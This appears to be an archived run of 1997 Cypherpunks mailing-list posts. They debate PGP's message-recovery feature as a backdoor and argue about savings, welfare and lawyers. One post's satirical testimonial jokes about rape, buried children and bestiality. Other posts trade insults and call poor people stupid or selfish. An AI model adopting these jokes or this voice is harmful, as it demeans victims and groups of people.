> remained at a constant level, is interesting to contemplate.

Don't know which, but I do suspect a concrete example has helped to
clarify thought.  Also CMR is a new development, yes people have
talked about multiple recipients before; but building in MTA support
to reject messages is an additional part of the system.  (Clipper did
something similar rejection of non "recoverable" messages -- the 16
bit checksum with undisclosed checksum algorithm being one other
example).

> Yes, I did mention the matters of history, backward compatibility, 
> and expedience under tight schedules as important factors.

I'm not sure it's _that_ valid, and heres a few reasons why: pgp5.0
has most of the CMR functionality in it -- this implies that PGP Inc
have been planning the CMR approach for ages.  Also CDR, just
escrowing storage keys, is simple.  Even simpler than CMR and mail
bouncing SMTP agents.

> The argument that leaking company secrets is the primary concern is
> fallacious for exactly the reason you mention -- there are a
> thousand ways to leak data out.
> 
> There are other, more realistic concerns.  Is the employee exchanging
> encoded gif images with his friends? Is the employee telling the truth
> about an exchange with a customer? Is the employee spending all his
> time reading mailing lists devoted to home-brew-beer, and other
> hobbies? Is the employee distributing porno images from an ftp site on
> a company computer? Is the employee running a consulting business on
> the company computers?  For investigating any such suspicions, 
> snooping incoming mail would be just as valuable as snooping outgoing 
> mail. 
> 
> BTW: You may laugh -- But I have seen real-life instances of each of
> these examples.

I'm not laughing.

Protecting secrets stored on company machines is I suspect difficult.
This is because the company controls the machines: it owns them, it
probably installed the software, it can install more software when
you're not in the office (eg key board sniffer).

Also a sense of proportionality is useful; balance what can be weakly
enforced by software, against other ways that company NDAs can be
broken (frisbeeing DAT tape out of window), or other ways that
outsiders can send you info which the company wouldn't like (eg like
sending to your home email address).

> > Maybe.  If PGP Inc want to go this far, and design software with these
> > features, I reckon local key escrow is better.  
> 
> I reckon local key escrow is better, myself.  But be real for a
> moment, Adam.

Always try to be realistic, Kent.

> If they had designed a system with "local key escrow"
> they would have been crucified by the butterfly brains on cypherpunks
> far more intently than they are being lambasted for CMR.  

Not quite as much I don't think.  Especially if they had just
implemented storage key escrow.  We've been discussing CKE (Commercial
Key Escrow) being fine and useful for ages, and GACK of messaging keys
being evil.  This is a very old meme.

> The very phrase "KEY ESCROW IN PGP" would have turned the cypherpunk
> group mind into quivering jelly.

Would have got some opposition to be sure.  But I really think there
would have been much less fuss.

> > However that is not what they are saying.
> 
> It doesn't matter what they are saying, really.  They designed 
> something with a set of constraints, one of which was the meme of 
> antipathy to anything that could be termed "key escrow".  

And pro-privacy seemed to be one of the design principles also.

Unfortunately the net effect is worse than what a privacy and
politically neutral individual would have come up with just security
objectives.

> I understand what Lucky meant when he said that PGP had pulled the
> greatest hack ever on corporate America.  It's so good that you have
> to conceal your mirth, for fear of screwing it up... 

Please share what's so funny.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 19:29:41 +0800
To: tcmay@got.net
Subject: Re: Saving money
In-Reply-To: <v03102800b07742497420@[207.167.93.63]>
Message-ID: <199710251122.MAA00713@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Harka writes:
> > [...]
>
> As I recall your point, it was that most people are a few weeks away from
> running out of money and hence cannot change jobs readily. I was saying
> that a small amount of self-discipline and sacrifice can quite easily
> translate into having a few _months'_ worth of savings.

Absolutely.  I recall trying to explain to someone who was prone to
spending money he didn't have:

- if you spend it before you've got it, you'll get to spend less,
  because of the interest you pay in the mean time

- where as if you spend it some time after you've got it, you'll be able
  to spend more because you will accumulate interest prior to spending.

Most people seem to have bought into the credit concept.  Hire
purchase everything.  Their idea of how much they can afford is how
many hire purchase fee structures fit within their current wages.
Same for houses, and mortgages, their idea of how expensive a house
they can afford is determined by how large a loan the bank is willing
to give them on a 99% mortgate over a 25 year mortgage repayment plan.

Well more fool them.

I have no loans.  I bought my house for cash to rent out as an
investment (the house was cheap because I was a cash buyer and one of
those 99% mortgage types had had it repossed from them by the bank so
I bought it at 25% below market value).  I have been working for 20
months (after finishing higher education).  I have enough wealth to
not work for about 7 years at current expenditure levels.  I am
married, and have two pre-school children.  I have a second hand car
which I bought (for cash obviously) for L2000 (you should have seen
the previous car which cost L300).  I have received no inheritances
worth mentioning.  My income is probably lower than most of our US
friends (UK universities do not pay well).  I expect most of our US
friends will be working when they are 50.  I don't figure on being
forced to work to eat at that age.  My liquid assets are invested in
stocks and high interest accounts.  Their's are locked up in fast
depreciating assets: flash cars, big mortgages, consumer electronics,
and in high consumption life styles: eating out, entertainment, etc.

Their life-style choice, their risk.

> If they won't make these spending tradeoffs and have not even a
> buffer sufficient to carry them through a month or two or three, I
> say screw them.

There's some kind of parable in the bible about investments (not that
I'm any kind of religious freak... just it is a reasonable story),
some thing about several people being given a gold coin to look after.
One spent it, another burried it in the ground, and another invested
it.  The person who's money it was came back and took the money off
the one who'd burried it in the ground and gave it to the one who'd
invested it.

Socialism has it in reverse, the one who'd spent it would have had the
government steal it from the investor for redistribution to the
financially foolish one.

Spending every penny before you've got it and then looking around for
someone else to pay the bills is a socialist tendency.  The nanny
welfare state.  Legalised theft from those that have worked to those
who have not.

OK, so maybe you can get a run of bad luck, but that bad luck is going
to hit you much worse if you've spent the next two months wages before
they've arrived.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 26 Oct 1997 01:18:43 +0800
To: cypherpunks@toad.com
Subject: TIME and time again
In-Reply-To: <3451767E.3100@dev.null>
Message-ID: <v03007801b077d1e697d5@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



At 22:33 -0600 10/24/97, TruthMonger wrote, quoting Ginsberg:
>At first reading, it struck me as a precise characterization of Time's
>own assault on the American mind.

TruthMonger's post is sorta funny, actually. But I wouldn't say that about
Time (at least now -- I don't know what the organization was like
internally before I joined). I've been at Time one year. The people I work
with in the bureau are top-notch reporters.

And for a change one of my articles actually seems to be staying in and not
getting cut for Diana updates -- at least not yet...

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 26 Oct 1997 03:23:15 +0800
To: cypherpunks@toad.com
Subject: Re: Lipstick Curves
In-Reply-To: <199710251814.LAA03164@k2.brigadoon.com>
Message-ID: <34524416.726F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

semprini@theschool.com wrote:
> 
> Can anyone point me to some good documentation on lipstick curves as
> applies to creepology? I'm interested in finding some good
> documentation from which I would be able to learn how to use lipstick
> curves in creating a public/private genitals system. I have mainly been
> studying syphlitic systems and would like to move on to ass-me-trick
> systems. Any help would be depreciated.
>
> --Dylan

Bob,
  You sick bastard. This is a _crypt_ list, not a _creep_ list.
Even someone whose mail alias is 'semiprincipled' should understand
the difference. Ask ? the Platypus for some pointers.

CreepMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 01:53:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Office of the Secretary of Defense vs the First Amendment (fwd)
Message-ID: <199710251817.NAA29584@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Oct 1997 19:20:55 +0200 (MET DST)
> Subject: Re: Office of the Secretary of Defense vs the First Amendment 
> From: nobody@REPLAY.COM (Anonymous)

> Someone is vastly over-reacting.  I read this letter as a polite request
> to do what they think is the "right thing" along with some reasons
> intended to gently persuade you that this is a morally correct choice. 
> 
> There is no threat.  No hint of compulsion.  It is IMHO utterly legal and
> appropriate.
> 
> Just as it would be utterly legal to comply with or ignore this
> letter. (Appropriateness we could debate...)
> 
> No foul.
> 
> A. Michael Froomkin          +1 (305) 284-4285; +1 (305) 284-6506 (fax)
> Associate Professor of Law   remailed to foil spam
> U. Miami School of Law       froomkin =A=T= law.miami.edu
> P.O. Box 248087              http://www.law.miami.edu/~froomkin/
> Coral Gables, FL 33124 USA   It's quite warm here


Lawyers = bottem feeding scum suckers

They're the ones who get us in these kinds of messes.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 20:45:24 +0800
To: harka@nycmetro.com
Subject: poverty traps (Re: Saving money)
In-Reply-To: <199710251158.GAA28570@einstein.ssz.com>
Message-ID: <199710251226.NAA01559@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Harka <harka@nycmetro.com> writes:
>  -=> Quoting In:tcmay@got.net to Harka <=-
> 
>  In> As I recall your point, it was that most people are a few weeks away
>  In> from running out of money and hence cannot change jobs readily. I was
>  In> saying that a small amount of self-discipline and sacrifice can quite
>  In> easily translate into having a few _months'_ worth of savings.
> 
> That may indeed work for some people, but the argument of
> "self-discipline and sacrifice" usually goes overboard once people
> _other than yourself_ are severely affected by that. "Sorry hun,
> you can't have a new winter-coat. Mommy has to save enough money so
> that she can choose the people she works for. And no...no christmas
> this year either".

That is indeed a sad financial state to be in.  I have trouble
believing it though.  Most of the people at low levels of income
around where I live (people collecting pretty reasonable social
security paychecks) spend lots of their money on such things as:

- drinking at pubs and bars (expensive hobby, alcohol is taxed at
  2000% or whatever, and the publican is making a hearty markup too)

- smoking (again expensive hobby, taxed at 2000% or whatever, likely
  to make you die young, but hey, that's their choice)

- have satellite dishes, cars, fancy consumer electronics collections

So if any kids are being deprived of winter clothes or whatever, it's
not because their parents don't have enough money, it's because their
parents are stupid, or selfish.  At least this is the overwhelming
case in a socialist welfare state like the UK.

If you go to a big city (soft-target-ville), you will see a few people
lying in doorways begging, sleeping on the streets; they're doing it
because they want to, or because they are mentally ill, or whatever.
There is no excuse with social handouts of L45 ($72) per week spending
money, plus rent paid.

>  In> If they won't make these spending tradeoffs and have not even
>  In> a buffer sufficient to carry them through a month or two or
>  In> three, I say screw them.
> 
> How about you adopting a person/family of your choice instead and
> providing them with enough startup-money, so that they can at least
> make an realistic effort to work towards a position of becoming
> financially independent themselves? :)

In the UK we have a "poverty trap".  That is the social security hand
outs are so generous that it would mean a large pay check cut for many
people to go and get a job.  For example, a qualified auto mechanic I
know: for a while he was on the dole: getting L110 spending money,
rent paid, plus fringe benefits (exemption from certain taxations).
He'd have had to be bringing in > L250/week ($400/week) or so to even
make it worth while working once you took into account lost benefits,
and cost of getting to work, and taxation of income etc.  Even then
he'd have been working for an additional hourly rate of about
0.50p/hr.  Yes he'd be self-sufficient, but working for effectively
0.50p/hr isn't much incentive.

>  In> just because Joe Sixpack spent his paycheck on beer
> 
> or on his two daughters...

More frequently on beer, I think you may find.

>  In> Or because Rawandala Brown spent her money on crack
> 
> or supporting her sick mother instead.

In the UK sick mothers get state pensions, sick pay.  Daughters who
have enough wits about them would even get paid by the state to look
after said sick mother.

> Your repeating of government-propaganda about the "abuse of the
> welfare-system" etc. doesn't really cut it as an argument in a
> discussion about the realism of having total financial independence
> and the freedom of choices, that comes with it.

You don't need total financial independence, all you need is a few
months buffer.


I don't really think that most capitalists are cold-hearted bastards,
charity is fine.  But the state is an ineffient mechanism for
providing social security.  And being forced to hand over `charity' at
the point of a gun isn't appreciated.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 26 Oct 1997 03:51:25 +0800
To: John Young <jya@pipeline.com>
Subject: Paid Ad for Michael Froomkin / Re: Office of the Secretary of Defense vs the First Amendment (fwd)
In-Reply-To: <1.5.4.32.19971025184415.00b67218@pop.pipeline.com>
Message-ID: <345249B4.95B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Michael Froomkin paid John Young $5.00 to write: 
> Jim choate wrote:
> >Lawyers = bottem feeding scum suckers

> You may be right for all others, and you may be kidding, but in the
> case (!) of world-beloved  Michael Froomkin, he's the sweetest,
> kindest, most caring, funniest lawyer professor qua human on the
> orb, in the dying galaxy, ever.
> 
> Visit his web page for irrefutable confirmation that he is the real
> thing in earthbound angels of legal humor.
> 
>    http://www.law.miami.edu/~froomkin/

John,
  You should have held out for $10.00 and a blow-job from a puppy
to be named later, like me.

My Testimonial:
  I lay bleeding to death in the back of the ambulance as the driver
became hopelessly lost. It was only when he stopped to check his map,
that Michael Froomkin, clinging to the back bumper, was able to 
climb inside and give the driver directions to the hospital.
  Michael not only saved my life, but he also sued the ambulance
company, the driver, the attendant, the doctor, nurses and hospital,
two witnesses to the accident, a guy in the emergency room with a
broken leg, a woman I raped six years ago, and the parents of the
two missing children who were found buried in my back yard.

  Michael had me legally change my name to Buddha, so I could collect
for the pain and suffering of the whole world, and I received a
judgment of 6 billion dollars.
  His fees came to 6 billion and two hundred dollars, but Michael
was kind enough to let me make payments on the two hundred, at only
27% interest.

  Some would have you believe that he did no more for me than any
other lawyer would do, but I think he's special.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 02:12:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Judge orders man to obtain permission to file suits [CNN]
Message-ID: <199710251836.NAA29693@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>          JUDGE CLAMPS DOWN ON FLORIDA MAN FOR FILING TOO MANY LAWSUITS
>                                        
>    AP
>    25-OCT-97
>    
>    
>    MIAMI (AP) Enough is enough. Chief U.S. District Judge Edward Davis
>    said he is tired of reading "rambling, incomprehensible diatribes"
>    directed at everyone from Elizabeth Dole to William Rehnquist.
>    
>    So Davis has ordered Robert Parker of Deerfield Beach to get his
>    written permission before filing any more lawsuits. Parker has filed
>    at least 85 federal suits in 10 years.
>    
>    In dismissing the latest batch of 11 suits, Davis said Parker has
>    argued that "three presidents, the chief justice of the Supreme Court,
>    the CIA, the FBI, the 11th Circuit Court of Appeals, every judge and
>    magistrate in this district, as well as numerous executives of the
>    American Red Cross and related entities engaged in a massive civil and
>    criminal conspiracy to deprive Parker of employment, his marriage,
>    access to the federal courts and, indeed, his very life."
>    
>    Parker's displeasure apparently stems from his five-year employment
>    with the Red Cross until 1972, and an executive's alleged remark to
>    his next employer that he was fired for stealing.
>    
>    "The bottom line is that this district has expended enough of its
>    scarce resources administering the same complaint from Parker," Davis
>    wrote Thursday.
>    
>    Parker's home telephone number is not listed and he could not be
>    reached for comment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 02:15:14 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Compuserve going after corporate customers [CNN]
Message-ID: <199710251838.NAA29731@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>             COMPUSERVE SETS ITS SIGHTS ON CORPORATE INTERNET USERS
>                                        
>    InfoWorld
>    25-OCT-97
>    By Rebecca Sykes
>    
>    
>    
>    CompuServe last week announced an online product targeted at business
>    Internet users.
>    
>    The offering, called C from CompuServe, will combine CompuServe's
>    features, such as its forums, in new ways to appeal to Internet-savvy
>    business users who require different functions from the Web than
>    consumers, according to Bob Kington, executive producer of CSi, the
>    company's online service.
>    
>    The Internet "is great for surfers; it's not good for busy business
>    people," Kington said. Business people "want to get on, get their
>    information, and get off [of the Internet]."
>    
>    C for CompuServe will assist them in doing so by packaging
>    CompuServe's assets in new ways. Instead of following the model of
>    CSi, the company's current online offering that gives paying
>    subscribers full access to all forums and other CompuServe resources,
>    C will offer access on three levels.
>    
>    * The Guest level will provide free, read-only access to CompuServe's
>    500 forums to all Web users. Guest-level users also will have access
>    to forums' reciprocal links to thousands of Web sites selected for
>    their relevance to the forums' topics.
>    
>    * The Member level will operate on a pay-per-transaction basis to
>    provide access to hundreds of research databases. Users enter their
>    credit-card information online once and then are charged small amounts
>    for functions they perform.
>    
>    * The Subscriber level will offer three options. One will feature full
>    interactive access to forums, including posting and receiving
>    messages, and will cost less than $10 per month. The other two
>    options, which will each be priced quite a bit lower, are a
>    subscription to integrated e-mail, voice mail, fax, and pager services
>    and a subscription to Computing Pro, a value-added service for
>    computing professionals.
>    
>    The service, free to current CSi users, will be available by year's
>    end.
>    
>    Asked whether CompuServe was acting prematurely given the impending
>    acquisition by America Online of its online assets, Steve Conway,
>    CompuServe vice president of corporate communications, said it was
>    just moving ahead with plans it had before AOL made its bid.
>    
>    CompuServe Inc., in Columbus, Ohio, can be reached at (614) 457-8600.
>    America Online Inc., in Dulles, Va., can be reached at (703) 448-8700.
>    
>    
>    Rebecca Sykes is a Boston correspondent for the IDG News Service, an
>    InfoWorld affiliate.
>    
>    Article Dated 24-OCT-97
>    
>    COPYRIGHT 1997 InfoWorld Publishing Company





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 26 Oct 1997 04:52:33 +0800
To: cypherpunks@Algebra.COM
Subject: Orthogonality and Disaster Recovery
Message-ID: <v03102802b078027ffb91@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




One of the themes of modern computing I strongly support is that of
"orthogonality," or clean functionality. A browser should not also try to
be a money management program. A word processor should not also try to be
an accounting program.

Failure to observe this rule of thumb has led to spreadsheets which can run
MPEG movies in spreadsheet cells (I'm not kidding), and to Web browsers
which take 20 MB of free memory to run reliably because they also contain
mediocre news readers, mediocre mailers, and lots of bloatware cruft.

The move toward modular decomposition is supported in functional and
object-oriented languages (like Java and C++) and in modern operating
systems. Much of the strenght of Unix has obviously come from the
philosophy that a function or utility should do some small set of things
well and cleanly, with chaining of these clean tools to accomplish more
complicated tasks.

A crypto program like PGP is intended to encrypt messages between a sender
and a recipient, or to provide authentication through signatures, or to
encrypt files on a storage medium. These are the classic, well-documented,
oft-discussed functions of crypto. Look in textbooks under "crypto" and
there won't be much talk of how to supply MIS with emergency backdoors, or
ways to monitor employees.

If properly modularized and orthogonalized (so to speak), such crypto
programs can then be used as building blocks for other tasks, like
remailers, data havens, and so on.

But there is a growing tendency, as seen in the bloatware examples of
browsers and spreadsheets mentioned above, to throw in all kinds of "wish
list" and "wouldn't it be nice" stuff. PGP is headed for bloatware. ("It's
not just a crypto program, it's also a tax preparation  and disaster
planning program!")

I'm quite certain that the Security and MIS directors at various companies
asked PGP, Inc. to include message recovery features. Not so much to handle
the very rare (almost nonexistent) cases where a piece of mail sent at some
time in the past has to be recovered because Alice was hit by a truck, or
similiar unlikely events (*), but because Security and MIS folks would like
the option of "monitoring" e-mail traffic.

(* I have heard no plausible scenarios under which transient
communications, which are presumably stored in the form composed
(plaintext) on the sender's machine or in the for received and read (also
in plaintext) on the receiver's machine, need to be recovered from the
*transit* state. We know why the FBI wants access to communications
keys--because access to the transit state is what they get when they
wiretap or sniff a communications line--but there is no plausbile
explanation of why a company would not simply ask Alice for the plaintext,
or ask Bob if for some reason Alice is unavailable. The idea someone
floated, that he needs to go in and decrypt his employee's mail in
emergencies is far-fetched.)

But are such bloatware crypto programs even good for disaster recovery? I
say they are not. I say e-mail will be a tiny, tiny portion of the recovery
strategy if Alice gets hit by a truck, for example. Far more important will
be recovery of her hard disk and related files.

(No, I am _not_ proposing anything be added to PGP to deal with this
disaster planning. Nor am I proposing that PGP enforce plaintext storage,
or anything else for that matter. These are all matters _orthogonal_ to the
basic function of a crypto program, and a crypto program cannot enforce
crypto hygiene any more than a spreadsheet can enforce good tax planning
hygiene.)

I am also not terribly interested in convoluted, byzantine schemes for
building "CDR" and such into crypto programs, as some are proposing. Again,
this is trying to make a crypto program into a disaster preparation
product, and trying to (partly) solve backup and disaster problems best
solved in other ways. Not something PGP should worry about (either the
program or the company).

"What if Alice forgets her key?" (Loses her private key, forgets her
passphrase, whatever.)  A very real concern. A concern I have myself. I
won't say how I deal with it, for security reasons, but it ain't something
I expect PGP, Inc. to solve _for_ me. Nor is my solution, whatever it is, a
step toward GAKking of keys, or any kind of building of an infrastructure
for surveillance.

In fact, this was my point a while back about how a diversity of approaches
to disaster planning, to key insurance measures, makes the imposition of
mandatory key escrow or Government Message Recovery (GMR) very difficult.
The very chaos helps. "Let a thousand flowers bloom."

And it turns out that the "what if Alice forgets her key?" scenario is very
poorly dealt with by PGP 5.5 (unless the corporation actually _does_  keeps
a copy of the private key generated for or by Alice...something supporters
of CMR says is not the case. Whether it _can_ or _will_ be the case is
another issue.)

So, disaster planning, for dealing with crashed disks, dead employees,
malicious employees (who, for example, encrypt their disks and then leave
the company), and general failures to backup work product, etc., these
examples of disaster planning issues are NOT dealt with in any important
way by PGP 5.5. Nor should any communications security program try to be
this kind program.

Keep it simple, stupid. This kind of bloatware is a fig leaf for security,
and very probably introduces major new  security flaws. (I've discussed at
length the issues of just who will be reading the CMR messages. It's very
unlikely such CMR messages will simply be archived away for that rare day
when someone's old messages need to be "recovered" for the reasons usually
given...in fact, as I have been arguing, I can't imagine companies even
bothering to get some transient piece of e-mail sent 2 years earlier by
Alice to Bob. They don't archive phone calls, and these are every bit as
likely to be "critical" in some sense as old e-mail messages are.)

As this relates to PGP, it just ain't their problem to try to answer the
demands of control freaks in corporate MIS departments that backdoors be
built into crypto products.

(Call it snoopware, call it surveillance software, call it CMR. But what it
really is a backdoor built into a crypto system. And one thing we know from
several decades of crypto work is that backdoors are holes in security.
Given that these backdoors apparently have little use in any real disaster
situations, they represent a serious dilution of security for little or
nothing gained.)

PGP, Inc. should stick to its core business, and not try to build in
snoopware backdoors for control freak MIS managers.

If it is claimed that corporate America is demanding these backdoors, our
industry and community then faces a major educational battle.

If this battle is lost, as it may already be, then the same reasons for
corporations to insist on "emergency access" (which of course won't be very
"emergency" oriented, as actually used in corporations) will be seen by
many to apply to government as well. "What have you got to hide?"

Keep it simple, stupid. That makes for efficiency, functionality, and
easier product development. And it doesn't build the case for government to
later demand message recovery.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 26 Oct 1997 02:57:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Office of the Secretary of Defense vs the First Amendment (fwd)
Message-ID: <1.5.4.32.19971025184415.00b67218@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim choate wrote:

>Lawyers = bottem feeding scum suckers
>
>They're the ones who get us in these kinds of messes.

You may be right for all others, and you may be kidding, but in the 
case (!) of world-beloved  Michael Froomkin, he's the sweetest, 
kindest, most caring, funniest lawyer professor qua human on the 
orb, in the dying galaxy, ever. 

Visit his web page for irrefutable confirmation that he is the real 
thing in earthbound angels of legal humor.

   http://www.law.miami.edu/~froomkin/

Best of all, he has no e-mail address.

[This is a pitifully low-bartered bar-prohibited ad]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 03:34:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199710252000.PAA30149@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Oct 1997 21:15:11 +0200 (MET DST)
> From: nobody@REPLAY.COM (Anonymous)
> Subject: Re: PGP Employee on MKR

> It sounds like everybody is in agreement, then.  Companies have the
> right to ask their employees to give up some privacy, time, and
> effort.

> Given that the governments of the world are the source of nearly all
> privacy problems, it seems unlikely that an appeal to government is
> likely to be productive.
> 
> Monty Cantsin
> Editor in Chief
> Smile Magazine

Monty, without a doubt that is the stupidest thing you have ever said on
this list.

If a company makes your employment contingent on something you don't like,
change jobs. DON'T need laws, don't want laws that get involved in this.
This is *STRICTLY* a civil contract issue between the two parties, PERIOD.

Why is it that so many people start discussions regarding social issues and
then meander into government issues, or visa versa, without ANY recognition
of their schizophrenia?

Personaly, I blame it on spin doctors like yourself.

At least I have the satisfaction knowing that in no way am I contributing to
putting food on your table, making your car payments, or paying off your drug
dealer...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 26 Oct 1997 07:47:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Saving money
In-Reply-To: <199710251832.LAA17149@sirius.infonex.com>
Message-ID: <v03102800b0781eb24018@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Mix <mixmaster@remail.obscura.com>, wrote:
>The term "equal opportunities" is a curious one.  A free market does
>mean that everybody has the equal opportunity to make agreements with
>each other.  But, clearly some people will have more success making
>these agreements for reasons which are not under their control.
>Somebody might have parents who introduce them to the right people and
>show them the ropes, for instance.  This is one reason why the free
>market does not eliminate the formation of elites.  But, so what?  Are
>we really going to claim that people shouldn't help their children to
>succeed?

Yes, if "equal opportunities" was a reality then the wealth of your family
would not be an aid nor would the destitution of your family be a
hinderance.  This, of course, is the stuff of socialism.  I suspect that
even if inheritance was banned those from wealthy and connected parents
would see some significant benefit, but probably not as much as those from
families in which good work ethic, self-reliance, savings and investment
were stressed.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 26 Oct 1997 04:14:34 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: poverty traps (Re: Sa
Message-ID: <199710252037.PAA30248@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 > Harka <harka@nycmetro.com> wrote:

 > That may indeed work for some people, but the argument of
 > "self-discipline and sacrifice" usually goes overboard once
 > people _other than yourself_ are severely affected by that.
 > "Sorry hun, you can't have a new winter-coat. Mommy has to save
 > enough money so that she can choose the people she works for.
 > And no...no christmas this year either".

 -=> Quoting In:aba@dcs.ex.ac.uk to Harka <=-

 In> That is indeed a sad financial state to be in.  I have trouble
 In> believing it though.

[examples of well-fares deleted]

 In> So if any kids are being deprived of winter clothes or
 In> whatever, it's not because their parents don't have enough
 In> money, it's because their parents are stupid, or selfish.

Although my statement was deliberately somewhat exaggerated, it is
not that far from reality for quite a few people I know.

A real-life example:

A single (divorced) mother, 4 kids (3-12 years), working full-time
and making in theory $42 000/year. After taxes that comes down to
$2000 cash per month.

In order for her to be able to work her two youngest kids go to a
day-care-center. Wham! $1000 per month (hiring a baby-sitter would
amount to even more).
Her apartment costs $800/month excluding utilities. That leaves
$200 (+ $800 she gets in child-support) per month for _five_ people
to live on (clothes, food, utilities, school-books, gas for the
car, etc.etc.)

One thousand dollars per month for five people!! And that in New
York City!
She is not entitled to any support such as free school-meals for
the kids etc., because she "makes too much money" (_before_ taxes,
of course!)

What efforts has she made to make "herself more marketable"? She has
been working ever since the age of 16, went 8 years to College (paid
by herself and paying rent at the same time) and now has a Masters
Degree in teaching.

What has it brought her? Bill-collectors calling every day!

She made a calculation and (confirming your statement) came to the
conclusion, that she indeed would have _more_ money by not working
at all and simply going on welfare.

However, that is not a choice she wants to make.

Is she to be called "stupid" and "selfish" because she's poor
despite her efforts???

I don't think so. She, btw., is not the only person I know
struggeling in this manner from one month into the next, barely
being able to even catch up on bills.

Neither does she have a free choice of employers. There is only one
board of education in the City. Changing for a private school would
come with (at least a temporary) pay-cut, that she obviously can't
afford.

Therefore:

Since she isn't the only person I can think of, who is in such a
position, the argument formerly known as "If 'ya don't like the
